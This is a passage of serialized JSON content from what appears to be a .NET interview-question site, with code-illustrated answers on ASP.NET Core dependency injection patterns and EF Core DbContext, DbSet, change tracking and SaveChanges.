_scopeFactory;\n\n    public DataSyncJob(IServiceScopeFactory scopeFactory)\n        => _scopeFactory = scopeFactory;\n\n    protected override async Task ExecuteAsync(CancellationToken ct)\n    {\n        using var scope = _scopeFactory.CreateScope();\n        var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n        \u002F\u002F db is scoped — safe here because we created an explicit scope\n    }\n}\n```\n\n**Rule of thumb:** `IServiceProvider` belongs in infrastructure code only — factory\ndelegates, hosted services, extension methods. In application classes, always use\nconstructor injection.\n",{"id":273,"difficulty":96,"q":274,"a":275},"add-vs-tryadd","What is the difference between Add*, TryAdd*, and Replace* registration methods?","The three registration families differ in behavior when a service type is already\nregistered — a critical distinction for library authors and test setup.\n\n```csharp\n\u002F\u002F Add* — always appends a new descriptor (multiple for same type is valid):\nservices.AddSingleton\u003CICache, MemoryCache>();\nservices.AddSingleton\u003CICache, RedisCache>();\n\u002F\u002F Both registered. GetService\u003CICache>() → RedisCache (last wins).\n\u002F\u002F GetServices\u003CICache>() → [MemoryCache, RedisCache] (composite pattern).\n\n\u002F\u002F TryAdd* — adds only if NO descriptor for the type exists yet:\nservices.TryAddSingleton\u003CICache, MemoryCache>();\nservices.TryAddSingleton\u003CICache, RedisCache>(); \u002F\u002F ignored — MemoryCache already present\n\u002F\u002F Best for library\u002Fframework code: register a default that the app can override.\n\n\u002F\u002F Replace — removes the existing descriptor, then adds the new one:\nservices.AddSingleton\u003CICache, MemoryCache>();\nservices.Replace(ServiceDescriptor.Singleton\u003CICache, RedisCache>());\n\u002F\u002F Only RedisCache is registered — MemoryCache is gone.\n\n\u002F\u002F RemoveAll — removes all descriptors for a type:\nservices.RemoveAll\u003CICache>();\n\n\u002F\u002F Test setup pattern — swap real service with a fake:\nservices.RemoveAll\u003CIEmailSender>();\nservices.AddSingleton\u003CIEmailSender, FakeEmailSender>();\n```\n\n**Rule of thumb:** Use `Add*` in application code where you control all registrations.\nUse `TryAdd*` in library\u002Fextension code so apps can override defaults. Use `Replace`\nin test fixtures to swap implementations cleanly.\n",{"id":277,"difficulty":96,"q":278,"a":279},"open-generics","How do you register open generic services in the .NET DI container?","**Open generic registration** maps a generic interface to a generic implementation\nwith a single line — the container closes the type arguments on demand at resolve time.\n\n```csharp\n\u002F\u002F Generic repository pattern:\npublic interface IRepository\u003CT> where T : class { }\npublic class EfRepository\u003CT> : IRepository\u003CT> where T : class\n{\n    private readonly AppDbContext _db;\n    public EfRepository(AppDbContext db) => _db = db;\n}\n\n\u002F\u002F One registration covers every entity type:\nbuilder.Services.AddScoped(typeof(IRepository\u003C>), typeof(EfRepository\u003C>));\n\n\u002F\u002F Resolved automatically for any closed type:\n\u002F\u002F IRepository\u003COrder>   → new EfRepository\u003COrder>(db)\n\u002F\u002F IRepository\u003CProduct> → new EfRepository\u003CProduct>(db)\n\u002F\u002F IRepository\u003CUser>    → new EfRepository\u003CUser>(db)\n\n\u002F\u002F A closed registration overrides the open one for a specific type:\nbuilder.Services.AddScoped\u003CIRepository\u003CAuditLog>, ReadOnlyAuditRepository>();\n\u002F\u002F IRepository\u003CAuditLog> → ReadOnlyAuditRepository (not EfRepository\u003CAuditLog>)\n\n\u002F\u002F Consumer — unchanged regardless of how many entity types exist:\npublic class OrderService\n{\n    public OrderService(IRepository\u003COrder> orders) { } \u002F\u002F resolved from open generic\n}\n```\n\nWorks with all three lifetimes (Singleton, Scoped, Transient).\n\n**Rule of thumb:** Use open generic registration when a pattern (repository, validator,\nhandler) applies uniformly across many types. One line replaces dozens of individual\nclosed-type registrations.\n",{"id":281,"difficulty":96,"q":282,"a":283},"keyed-services","What are keyed services in .NET 8 and when should you use them?","**Keyed services** (.NET 8+) allow registering multiple implementations of the same\ninterface under distinct keys and resolving them by key — the official replacement for\nolder `Func\u003Cstring, T>` factory workarounds.\n\n```csharp\n\u002F\u002F Register multiple implementations under string keys:\nbuilder.Services.AddKeyedSingleton\u003CICache, MemoryCache>(\"memory\");\nbuilder.Services.AddKeyedSingleton\u003CICache, RedisCache>(\"redis\");\nbuilder.Services.AddKeyedSingleton\u003CICache, NullCache>(\"null\");\n\n\u002F\u002F Constructor injection — [FromKeyedServices] attribute specifies the key:\npublic class ProductService\n{\n    public ProductService([FromKeyedServices(\"redis\")] ICache cache)\n    {\n        _cache = cache; \u002F\u002F RedisCache\n    }\n}\n\n\u002F\u002F Programmatic resolution:\nvar cache = sp.GetRequiredKeyedService\u003CICache>(\"memory\");\n\n\u002F\u002F Keys can be enums, not just strings:\npublic enum CacheType { Memory, Redis }\n\nbuilder.Services.AddKeyedSingleton\u003CICache, MemoryCache>(CacheType.Memory);\nbuilder.Services.AddKeyedSingleton\u003CICache, RedisCache>(CacheType.Redis);\n\n\u002F\u002F Pre-.NET 8 workaround (for reference):\nbuilder.Services.AddSingleton\u003CFunc\u003Cstring, ICache>>(sp => key => key switch\n{\n    \"redis\"  => sp.GetRequiredService\u003CRedisCache>(),\n    \"memory\" => sp.GetRequiredService\u003CMemoryCache>(),\n    _        => throw new ArgumentException($\"Unknown cache: {key}\")\n});\n```\n\n**Rule of thumb:** Use keyed services (.NET 8+) when you need multiple named\nimplementations of the same interface. Prefer enum keys over strings for type safety.\n",{"id":285,"difficulty":96,"q":286,"a":287},"multiple-implementations","How do you resolve all registered implementations of an interface?","When multiple implementations of the same interface are registered, inject\n**`IEnumerable\u003CT>`** to receive all of them — the core of composite, pipeline, and\nnotification patterns.\n\n```csharp\n\u002F\u002F Register three validators for the same interface:\nbuilder.Services.AddScoped\u003CIOrderValidator, StockValidator>();\nbuilder.Services.AddScoped\u003CIOrderValidator, PriceValidator>();\nbuilder.Services.AddScoped\u003CIOrderValidator, FraudValidator>();\n\n\u002F\u002F Inject IEnumerable\u003CT> to consume all of them:\npublic class OrderService\n{\n    private readonly IEnumerable\u003CIOrderValidator> _validators;\n\n    public OrderService(IEnumerable\u003CIOrderValidator> validators)\n        => _validators = validators;\n\n    public async Task\u003CValidationResult> ValidateAsync(Order order)\n    {\n        foreach (var validator in _validators)\n        {\n            var result = await validator.ValidateAsync(order);\n            if (!result.IsValid) return result; \u002F\u002F fail fast on first failure\n        }\n        return ValidationResult.Success;\n    }\n}\n\n\u002F\u002F Programmatic resolution:\n\u002F\u002F GetService\u003CIOrderValidator>()   → FraudValidator   (last registered wins)\n\u002F\u002F GetServices\u003CIOrderValidator>()  → all three in registration order\nvar all = sp.GetServices\u003CIOrderValidator>();\n```\n\n**Rule of thumb:** Use `IEnumerable\u003CT>` injection for composite and pipeline patterns\nwhere all registered implementations should participate. For a single-winner scenario,\nthe last registered implementation wins with `GetService\u003CT>`.\n",{"id":289,"difficulty":96,"q":290,"a":291},"validate-on-build","What are ValidateOnBuild and ValidateScopes and why should you enable them in development?","**`ValidateOnBuild`** verifies the entire service graph at startup and throws if any\nregistered service has an unresolvable dependency. **`ValidateScopes`** detects captive\ndependency bugs (a scoped service captured by a singleton).\n\n```csharp\n\u002F\u002F Enable in development via UseDefaultServiceProvider:\nbuilder.Host.UseDefaultServiceProvider((ctx, options) =>\n{\n    bool isDev = ctx.HostingEnvironment.IsDevelopment();\n    options.ValidateOnBuild = isDev;  \u002F\u002F fail at startup, not first HTTP request\n    options.ValidateScopes  = isDev;  \u002F\u002F catch lifetime mismatches at startup\n});\n\n\u002F\u002F Example: ValidateOnBuild catches this missing registration immediately:\nbuilder.Services.AddScoped\u003CIOrderService, OrderService>();\n\u002F\u002F If OrderService's constructor needs IPaymentGateway but it's not registered,\n\u002F\u002F app.Build() throws — not the first production request that hits the endpoint.\n\n\u002F\u002F Example: ValidateScopes catches captive dependencies:\nbuilder.Services.AddSingleton\u003CReportCache>();\nbuilder.Services.AddScoped\u003CAppDbContext>();\n\npublic class ReportCache\n{\n    \u002F\u002F Captive dependency — AppDbContext (scoped) held by singleton:\n    public ReportCache(AppDbContext db) { }\n}\n\u002F\u002F With ValidateScopes = true, app.Build() throws InvalidOperationException.\n```\n\nThese options add startup overhead; only enable them in development or test environments.\n\n**Rule of thumb:** Always enable `ValidateOnBuild` and `ValidateScopes` in development.\nMisconfigured DI graphs that slip to production cause intermittent, hard-to-reproduce bugs.\n",{"id":293,"difficulty":104,"q":294,"a":295},"di-in-minimal-api","How does dependency injection work in minimal API endpoint handlers?","Minimal APIs resolve registered services **by parameter type** automatically — no\n`[FromServices]` attribute needed in most cases. The framework distinguishes services\nfrom route parameters and model bindings by type.\n\n```csharp\nbuilder.Services.AddScoped\u003CIProductService, ProductService>();\nbuilder.Services.AddSingleton\u003CICache, MemoryCache>();\n\nvar app = builder.Build();\n\n\u002F\u002F Services are injected by type; route params come from the URL:\napp.MapGet(\"\u002Fproducts\u002F{id:int}\", async (\n    int id,                              \u002F\u002F from route — not a service\n    IProductService products,            \u002F\u002F from DI\n    ICache cache,                        \u002F\u002F from DI\n    ILogger\u003CProgram> logger) =>          \u002F\u002F from DI (built-in)\n{\n    logger.LogInformation(\"Fetching product {Id}\", id);\n    var product = await products.GetByIdAsync(id);\n    return product is null ? Results.NotFound() : Results.Ok(product);\n});\n\n\u002F\u002F [FromServices] is explicit — use when the type is ambiguous:\napp.MapPost(\"\u002Forders\", async (\n    [FromBody] CreateOrderDto dto,\n    [FromServices] IOrderService orders) =>\n{\n    var order = await orders.CreateAsync(dto);\n    return Results.Created($\"\u002Forders\u002F{order.Id}\", order);\n});\n```\n\n**Rule of thumb:** In minimal APIs, registered services are injected automatically by\nparameter type. Use `[FromServices]` only when there's ambiguity or for explicitness.\n",{"id":297,"difficulty":104,"q":298,"a":299},"extension-methods","How do extension methods help organize service registrations?","**Extension methods on `IServiceCollection`** group related registrations into a named,\ncomposable unit — the same pattern Microsoft uses for `AddDbContext`, `AddAuthentication`,\nand `AddMvc`.\n\n```csharp\n\u002F\u002F Group all ordering-related registrations:\npublic static class OrderingServiceExtensions\n{\n    public static IServiceCollection AddOrderingServices(\n        this IServiceCollection services, IConfiguration configuration)\n    {\n        services.AddScoped\u003CIOrderService, OrderService>();\n        services.AddScoped\u003CIOrderRepository, EfOrderRepository>();\n        services.AddScoped\u003CIOrderValidator, StockValidator>();\n        services.AddScoped\u003CIOrderValidator, PriceValidator>();\n        services.AddSingleton\u003CIOrderEventPublisher>(sp =>\n        {\n            var cfg = configuration.GetSection(\"EventBus\");\n            return new RabbitMqPublisher(cfg[\"Host\"], cfg[\"Exchange\"]);\n        });\n\n        return services; \u002F\u002F enables fluent chaining\n    }\n}\n\n\u002F\u002F Program.cs stays clean — reads as a feature list, not a type list:\nbuilder.Services.AddOrderingServices(builder.Configuration);\nbuilder.Services.AddCatalogServices(builder.Configuration);\nbuilder.Services.AddAuthServices(builder.Configuration);\nbuilder.Services.AddInfrastructureServices(builder.Configuration);\n```\n\n**Rule of thumb:** Once a domain area has 3+ registrations, extract them into an\n`Add\u003CFeature>Services` extension method. `Program.cs` should read like a table of\ncontents, not a registry dump.\n",{"id":301,"difficulty":96,"q":302,"a":303},"di-anti-patterns","What are the most common DI anti-patterns in ASP.NET Core?","Three anti-patterns cause the most production bugs in ASP.NET Core DI:\n\n```csharp\n\u002F\u002F 1. Service Locator — hides dependencies, breaks testability:\npublic class OrderService\n{\n    private readonly IServiceProvider _sp;\n    public OrderService(IServiceProvider sp) => _sp = sp;\n\n    public void Process()\n    {\n        \u002F\u002F Callers can't see what this class needs:\n        var repo = _sp.GetRequiredService\u003CIOrderRepository>();\n    }\n}\n\u002F\u002F Fix: inject IOrderRepository directly in the constructor.\n\n\u002F\u002F 2. Captive dependency — scoped service held by a singleton:\npublic class ReportCache  \u002F\u002F registered as Singleton\n{\n    public ReportCache(AppDbContext db) { } \u002F\u002F AppDbContext is Scoped\n    \u002F\u002F db outlives the request — shared state across requests → data corruption\n}\n\u002F\u002F Fix: inject IServiceScopeFactory; create a new scope per operation:\npublic class ReportCache\n{\n    private readonly IServiceScopeFactory _factory;\n    public ReportCache(IServiceScopeFactory factory) => _factory = factory;\n\n    public void Refresh()\n    {\n        using var scope = _factory.CreateScope();\n        var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n        \u002F\u002F db is properly scoped here\n    }\n}\n\n\u002F\u002F 3. Bastard injection — hidden fallback dependency in the constructor:\npublic class EmailService\n{\n    private readonly ILogger _logger;\n    public EmailService(ILogger logger = null)\n    {\n        _logger = logger ?? new ConsoleLogger(); \u002F\u002F misleading in tests\n    }\n}\n\u002F\u002F Fix: always require the dependency; use NullLogger.Instance in tests:\npublic EmailService(ILogger\u003CEmailService> logger) => _logger = logger;\n```\n\n**Rule of thumb:** If a class reaches into `IServiceProvider`, it has a Service Locator.\nIf a singleton holds a scoped service in its constructor, it's a captive dependency.\nBoth produce mysterious, request-intermittent bugs — catch them with `ValidateScopes`.\n",{"id":305,"difficulty":96,"q":306,"a":307},"property-method-injection","Does ASP.NET Core's built-in DI container support property or method injection?","The built-in container supports **constructor injection only**. Property and method\ninjection require a third-party container (Autofac, Castle Windsor) or a manual workaround.\nThis is by design — constructor injection makes dependencies explicit and verifiable.\n\n```csharp\n\u002F\u002F Built-in container: constructor injection only — this is the right approach:\npublic class ReportService\n{\n    private readonly IReportRepository _repo;\n    private readonly ILogger\u003CReportService> _logger;\n\n    public ReportService(IReportRepository repo, ILogger\u003CReportService> logger)\n    {\n        _repo   = repo;\n        _logger = logger;\n    }\n}\n\n\u002F\u002F Property injection — NOT supported by the built-in container:\npublic class ReportService\n{\n    \u002F\u002F The built-in container will NOT set this automatically:\n    public IReportRepository Repo { get; set; } = null!; \u002F\u002F Bad: hidden dependency\n}\n\n\u002F\u002F Workaround if property injection is genuinely needed — factory delegate:\nbuilder.Services.AddScoped\u003CReportService>(sp =>\n{\n    var svc = new ReportService();          \u002F\u002F parameterless ctor\n    svc.Repo = sp.GetRequiredService\u003CIReportRepository>(); \u002F\u002F manual wiring\n    return svc;\n});\n\u002F\u002F Note: still visible at the registration site — but hides deps from consumers.\n\n\u002F\u002F Third-party container (Autofac) — supports property injection natively:\nbuilder.Host.UseServiceProviderFactory(new AutofacServiceProviderFactory());\n\u002F\u002F Then use ContainerBuilder.RegisterType\u003CT>().PropertiesAutowired() in Autofac config.\n```\n\n**Rule of thumb:** Stick with constructor injection and the built-in container for 95%\nof projects. Only reach for property injection (and a third-party container) when\nintegrating with frameworks that require a parameterless constructor.\n",{"id":309,"difficulty":206,"q":310,"a":311},"decorator-pattern-di","How do you implement the decorator pattern with the built-in DI container?","The built-in container doesn't have first-class decorator support, but you can wire\ndecorators using **factory delegates** that resolve the inner service and wrap it.\nScrutor (a NuGet package) adds a `.Decorate\u003CTInterface, TDecorator>()` extension for\ncleaner syntax.\n\n```csharp\npublic interface IOrderRepository\n{\n    Task\u003COrder?> GetByIdAsync(int id);\n    Task SaveAsync(Order order);\n}\n\npublic class EfOrderRepository : IOrderRepository { \u002F* EF Core implementation *\u002F }\n\n\u002F\u002F Decorator: adds caching around the real repository:\npublic class CachedOrderRepository : IOrderRepository\n{\n    private readonly IOrderRepository _inner; \u002F\u002F wraps the real implementation\n    private readonly IMemoryCache _cache;\n\n    public CachedOrderRepository(IOrderRepository inner, IMemoryCache cache)\n    {\n        _inner = inner;\n        _cache = cache;\n    }\n\n    public async Task\u003COrder?> GetByIdAsync(int id)\n    {\n        return await _cache.GetOrCreateAsync($\"order:{id}\", async entry =>\n        {\n            entry.AbsoluteExpirationRelativeToNow = TimeSpan.FromMinutes(5);\n            return await _inner.GetByIdAsync(id); \u002F\u002F delegates to real repo\n        });\n    }\n\n    public Task SaveAsync(Order order)\n    {\n        _cache.Remove($\"order:{order.Id}\"); \u002F\u002F invalidate on write\n        return _inner.SaveAsync(order);\n    }\n}\n\n\u002F\u002F Manual wiring with factory delegate:\nbuilder.Services.AddScoped\u003CEfOrderRepository>();  \u002F\u002F register concrete inner\nbuilder.Services.AddScoped\u003CIOrderRepository>(sp =>\n    new CachedOrderRepository(\n        sp.GetRequiredService\u003CEfOrderRepository>(), \u002F\u002F inner resolved by concrete type\n        sp.GetRequiredService\u003CIMemoryCache>()));\n\n\u002F\u002F Cleaner with Scrutor (Microsoft.Extensions.DependencyInjection.Abstractions extension):\n\u002F\u002F builder.Services.AddScoped\u003CIOrderRepository, EfOrderRepository>();\n\u002F\u002F builder.Services.Decorate\u003CIOrderRepository, CachedOrderRepository>();\n```\n\n**Rule of thumb:** For a single decorator layer, the factory delegate approach is clear\nenough. For multiple layers or frequent decorator use, add Scrutor to avoid nesting\nfactory delegates.\n",{"id":313,"difficulty":96,"q":314,"a":315},"di-third-party-containers","When and how do you replace the built-in DI container with a third-party container?","The built-in container covers the vast majority of scenarios. Reach for a third-party\ncontainer (Autofac, Lamar, Grace) only when you need features it doesn't provide:\nproperty injection, convention-based registration, advanced interception, or\nchild\u002Fnested container scoping.\n\n```csharp\n\u002F\u002F Add Autofac as the service provider factory (Autofac.Extensions.DependencyInjection):\nbuilder.Host.UseServiceProviderFactory(new AutofacServiceProviderFactory());\n\n\u002F\u002F Configure Autofac modules alongside standard IServiceCollection registrations:\nbuilder.Host.ConfigureContainer\u003CContainerBuilder>(containerBuilder =>\n{\n    \u002F\u002F Standard registrations still work — Autofac wraps IServiceCollection:\n    \u002F\u002F (already added via builder.Services above)\n\n    \u002F\u002F Autofac-specific features:\n    containerBuilder.RegisterType\u003CEfOrderRepository>()\n        .As\u003CIOrderRepository>()\n        .InstancePerLifetimeScope()\n        .EnableInterfaceInterceptors(); \u002F\u002F AOP interception — not in built-in\n\n    \u002F\u002F Convention-based scan and register all types in an assembly:\n    containerBuilder.RegisterAssemblyTypes(typeof(Program).Assembly)\n        .Where(t => t.Name.EndsWith(\"Service\"))\n        .AsImplementedInterfaces()\n        .InstancePerLifetimeScope();\n\n    \u002F\u002F Property injection:\n    containerBuilder.RegisterType\u003CLegacyReporter>()\n        .As\u003CIReporter>()\n        .PropertiesAutowired(); \u002F\u002F not supported by built-in container\n});\n\n\u002F\u002F Note: ASP.NET Core's IServiceCollection registrations are imported automatically.\n\u002F\u002F Third-party containers must implement IServiceProviderFactory\u003CTContainerBuilder>.\n```\n\n**Rule of thumb:** Start with the built-in container — it's fast, simple, and supports\n90% of DI patterns. Switch to a third-party container only for features the built-in\ncan't provide, and document why so the next developer understands the dependency.\n",{"description":94},"Dependency injection interview questions — IServiceCollection, constructor injection, open generics, keyed services, and common DI anti-patterns.","dotnet\u002Fdependency-injection\u002Fdi-basics","DI Basics","O53VLkWPA5WlI44mcxtSRzCe5D2Fi5lDZPF_9pPfV4o",{"id":322,"title":323,"body":324,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":328,"navigation":99,"order":13,"path":329,"questions":330,"questionsCount":163,"related":164,"seo":391,"seoDescription":392,"stem":393,"subtopic":394,"topic":55,"topicSlug":57,"updated":168,"__hash__":395},"qa\u002Fdotnet\u002Fentity-framework\u002Fdbcontext-dbset.md","Dbcontext Dbset",{"type":91,"value":325,"toc":326},[],{"title":94,"searchDepth":29,"depth":29,"links":327},[],{},"\u002Fdotnet\u002Fentity-framework\u002Fdbcontext-dbset",[331,335,339,343,347,351,355,359,363,367,371,375,379,383,387],{"id":332,"difficulty":104,"q":333,"a":334},"ef-dbcontext-role","What is DbContext and what role does it play in EF Core?","**`DbContext`** is the primary entry point for EF Core. It combines three patterns:\n**Unit of Work** (batches changes), **Repository** (queries via `DbSet\u003CT>`), and\n**Identity Map** (tracks entity instances by primary key within the same scope).\n\n```csharp\n\u002F\u002F Define your context by deriving from DbContext:\npublic class AppDbContext : DbContext\n{\n    \u002F\u002F Each DbSet\u003CT> maps to a table — the query surface for that entity:\n    public DbSet\u003COrder>   Orders   { get; set; }\n    public DbSet\u003CProduct> Products { get; set; }\n    public DbSet\u003CCustomer> Customers { get; set; }\n\n    public AppDbContext(DbContextOptions\u003CAppDbContext> options)\n        : base(options) { }\n\n    protected override void OnModelCreating(ModelBuilder modelBuilder)\n    {\n        \u002F\u002F Fluent API configuration lives here:\n        modelBuilder.ApplyConfigurationsFromAssembly(typeof(AppDbContext).Assembly);\n    }\n}\n\n\u002F\u002F Register in Program.cs — the container creates a new instance per request:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseSqlServer(builder.Configuration.GetConnectionString(\"Default\")));\n\n\u002F\u002F Inject and use in a service:\npublic class OrderService\n{\n    private readonly AppDbContext _db;\n    public OrderService(AppDbContext db) => _db = db;\n\n    public async Task\u003COrder?> GetOrderAsync(int id)\n        => await _db.Orders.FindAsync(id); \u002F\u002F uses identity map first\n}\n```\n\n**Rule of thumb:** `DbContext` is a scoped service — one instance per HTTP request.\nNever register it as Singleton; the change tracker is not thread-safe.\n",{"id":336,"difficulty":104,"q":337,"a":338},"ef-dbset-operations","What operations does DbSet\u003CT> expose and how do they map to SQL?","**`DbSet\u003CT>`** is the query and change surface for one entity type. LINQ methods\non it build SQL; add\u002Fremove\u002Fupdate methods stage changes in the change tracker.\n\n```csharp\n\u002F\u002F Querying — translated to SQL by EF Core's query pipeline:\nvar orders = await _db.Orders\n    .Where(o => o.CustomerId == customerId)   \u002F\u002F WHERE\n    .OrderByDescending(o => o.CreatedAt)      \u002F\u002F ORDER BY\n    .Take(20)                                  \u002F\u002F TOP 20\n    .ToListAsync();                            \u002F\u002F executes → SELECT\n\n\u002F\u002F Find by primary key (checks identity map before hitting DB):\nvar order = await _db.Orders.FindAsync(42);\n\n\u002F\u002F Staging changes — do NOT hit the DB until SaveChanges:\n_db.Orders.Add(new Order { CustomerId = 1 });    \u002F\u002F INSERT\n_db.Orders.Update(existingOrder);                \u002F\u002F UPDATE (all columns)\n_db.Orders.Remove(existingOrder);                \u002F\u002F DELETE\n\n\u002F\u002F SaveChanges wraps all staged ops in one transaction:\nawait _db.SaveChangesAsync();\n\n\u002F\u002F Direct SQL for non-LINQ operations:\nvar orders = await _db.Orders\n    .FromSqlRaw(\"SELECT * FROM Orders WHERE Status = {0}\", \"Pending\")\n    .ToListAsync();\n\n\u002F\u002F ExecuteSqlRawAsync for non-query statements (INSERT\u002FUPDATE\u002FDELETE):\nawait _db.Database.ExecuteSqlRawAsync(\n    \"DELETE FROM Orders WHERE CreatedAt \u003C {0}\", cutoff);\n```\n\n**Rule of thumb:** Use LINQ on `DbSet\u003CT>` for queries — EF translates it to\noptimised SQL. Fall back to `FromSqlRaw` or `ExecuteSqlRawAsync` only for\noperations LINQ can't express.\n",{"id":340,"difficulty":104,"q":341,"a":342},"ef-dbcontextoptions","How do you configure DbContextOptions and what provider options are available?","**`DbContextOptions\u003CTContext>`** carries the provider choice, connection string,\nand behaviour options. It's set during registration and injected into the context\nconstructor.\n\n```csharp\n\u002F\u002F SQL Server:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseSqlServer(\n        builder.Configuration.GetConnectionString(\"Default\"),\n        sql => sql.CommandTimeout(60)    \u002F\u002F per-query timeout in seconds\n                  .MigrationsAssembly(\"MyApp.Data\") \u002F\u002F separate assembly\n    ));\n\n\u002F\u002F SQLite (dev \u002F tests):\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseSqlite(\"Data Source=app.db\"));\n\n\u002F\u002F PostgreSQL (Npgsql):\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseNpgsql(connectionString));\n\n\u002F\u002F In-memory (tests only — not a real DB; no transactions or constraints):\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseInMemoryDatabase(\"TestDb\"));\n\n\u002F\u002F Add diagnostics in development:\nif (builder.Environment.IsDevelopment())\n{\n    options.EnableSensitiveDataLogging(); \u002F\u002F shows param values in logs\n    options.EnableDetailedErrors();        \u002F\u002F richer error messages\n}\n\n\u002F\u002F Manual construction (e.g., in a factory):\nvar opts = new DbContextOptionsBuilder\u003CAppDbContext>()\n    .UseSqlServer(connectionString)\n    .Options;\n\nusing var db = new AppDbContext(opts);\n```\n\n**Rule of thumb:** Use `AddDbContext\u003CT>` for web apps — it handles lifetime and\ndisposal. Build `DbContextOptions` manually only in tests or migration tooling.\n",{"id":344,"difficulty":96,"q":345,"a":346},"ef-change-tracking","How does EF Core's change tracker work and what entity states are there?","The **change tracker** watches entity instances and records mutations so\n`SaveChanges` can generate the correct SQL without you specifying it.\n\n```csharp\n\u002F\u002F Entity states:\n\u002F\u002F Added    → INSERT on SaveChanges\n\u002F\u002F Modified → UPDATE on SaveChanges\n\u002F\u002F Deleted  → DELETE on SaveChanges\n\u002F\u002F Unchanged→ no SQL\n\u002F\u002F Detached → not tracked at all\n\nvar order = await _db.Orders.FindAsync(42); \u002F\u002F state: Unchanged\norder.Status = \"Shipped\";                   \u002F\u002F state: Modified (detected automatically)\nawait _db.SaveChangesAsync();               \u002F\u002F generates: UPDATE Orders SET Status=... WHERE Id=42\n\n\u002F\u002F Manual state management:\n_db.Entry(order).State = EntityState.Modified; \u002F\u002F mark all columns dirty\n_db.Entry(order).Property(o => o.Status).IsModified = true; \u002F\u002F only one column\n\n\u002F\u002F Inspect current state:\nConsole.WriteLine(_db.Entry(order).State); \u002F\u002F EntityState.Modified\n\n\u002F\u002F AsNoTracking — read-only queries; no change tracker overhead:\nvar orders = await _db.Orders\n    .AsNoTracking()\n    .Where(o => o.Status == \"Pending\")\n    .ToListAsync();\n\u002F\u002F Useful for read-heavy endpoints — faster, lower memory usage\n\n\u002F\u002F Attach a detached entity and mark it modified:\n_db.Orders.Attach(detachedOrder);\n_db.Entry(detachedOrder).State = EntityState.Modified;\nawait _db.SaveChangesAsync();\n```\n\n**Rule of thumb:** Use `AsNoTracking()` on read-only queries — it skips change\ntracker overhead and is measurably faster. Only track entities you intend to mutate.\n",{"id":348,"difficulty":96,"q":349,"a":350},"ef-savechanges","How does SaveChanges work and what happens under the hood?","**`SaveChanges`** \u002F **`SaveChangesAsync`** inspects the change tracker, generates\nSQL for every `Added`, `Modified`, and `Deleted` entity, and executes all of them\nin a **single implicit transaction**.\n\n```csharp\n\u002F\u002F Everything between two SaveChanges calls is one unit of work:\nvar customer = new Customer { Name = \"Alice\" };\n_db.Customers.Add(customer);                  \u002F\u002F queued: INSERT Customer\n\nvar product = await _db.Products.FindAsync(5);\nproduct.Stock -= 1;                            \u002F\u002F queued: UPDATE Product\n\nvar order = new Order { CustomerId = customer.Id, ProductId = 5 };\n_db.Orders.Add(order);                         \u002F\u002F queued: INSERT Order\n\n\u002F\u002F One round trip — all three ops in one transaction:\nint rows = await _db.SaveChangesAsync();       \u002F\u002F returns count of affected rows\n\n\u002F\u002F Manual transaction for multiple SaveChanges calls:\nawait using var tx = await _db.Database.BeginTransactionAsync();\ntry\n{\n    _db.Orders.Add(order);\n    await _db.SaveChangesAsync();          \u002F\u002F first save — inside tx\n\n    _db.Invoices.Add(invoice);\n    await _db.SaveChangesAsync();          \u002F\u002F second save — same tx\n\n    await tx.CommitAsync();\n}\ncatch\n{\n    await tx.RollbackAsync();\n    throw;\n}\n\n\u002F\u002F Intercept every save with SaveChangesInterceptor:\npublic class AuditInterceptor : SaveChangesInterceptor\n{\n    public override ValueTask\u003CInterceptionResult\u003Cint>> SavingChangesAsync(...)\n    {\n        foreach (var entry in context.ChangeTracker.Entries\u003CIAuditable>())\n            entry.Entity.UpdatedAt = DateTime.UtcNow; \u002F\u002F stamp before save\n        return base.SavingChangesAsync(...);\n    }\n}\n```\n\n**Rule of thumb:** Call `SaveChangesAsync` once per logical operation. Multiple\n`SaveChanges` calls in one request need an explicit transaction to stay atomic.\n",{"id":352,"difficulty":96,"q":353,"a":354},"ef-dbcontext-lifetime","Why should DbContext be registered as Scoped, not Singleton or Transient?","**`DbContext` is stateful** — the change tracker holds entity references tied to a\nspecific database connection. Registering it wrong causes data corruption or leaks.\n\n```csharp\n\u002F\u002F Scoped (correct) — one DbContext per HTTP request:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseSqlServer(connectionString));\n\u002F\u002F Default lifetime from AddDbContext is Scoped.\n\u002F\u002F Each request gets its own change tracker and connection.\n\n\u002F\u002F Singleton — DbContext shared across ALL requests concurrently:\n\u002F\u002F - Change tracker corrupted by overlapping requests.\n\u002F\u002F - Connection held open forever → exhausts the pool.\n\u002F\u002F - First writer's uncommitted data visible to other requests.\n\n\u002F\u002F Transient — new DbContext for every injection within a request:\n\u002F\u002F - An entity modified in ServiceA's context is NOT visible in ServiceB's context.\n\u002F\u002F - SaveChanges in ServiceA doesn't commit ServiceB's work.\n\u002F\u002F - Double the connection pool usage per request.\n\n\u002F\u002F Background services must create their own scope:\npublic class ReportWorker : BackgroundService\n{\n    private readonly IServiceScopeFactory _scopeFactory;\n    public ReportWorker(IServiceScopeFactory scopeFactory)\n        => _scopeFactory = scopeFactory;\n\n    protected override async Task ExecuteAsync(CancellationToken ct)\n    {\n        using var scope = _scopeFactory.CreateScope();\n        var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n        \u002F\u002F db is a fresh, properly scoped context for this job\n    }\n}\n```\n\n**Rule of thumb:** `DbContext` must be Scoped. Background services and singletons\nmust never inject it directly — use `IServiceScopeFactory` instead.\n",{"id":356,"difficulty":96,"q":357,"a":358},"ef-connection-pooling","What is DbContext pooling and when should you use it?","**`AddDbContextPool`** reuses `DbContext` instances from a pool rather than\ncreating a new one per request — removing the allocation and garbage collection\ncost per context (though EF Core resets the instance before reuse).\n\n```csharp\n\u002F\u002F Standard — creates a new AppDbContext per request:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseSqlServer(connectionString));\n\n\u002F\u002F Pooled — reuses instances from a pool (default size: 1024):\nbuilder.Services.AddDbContextPool\u003CAppDbContext>(options =>\n    options.UseSqlServer(connectionString),\n    poolSize: 128);        \u002F\u002F tune to expected 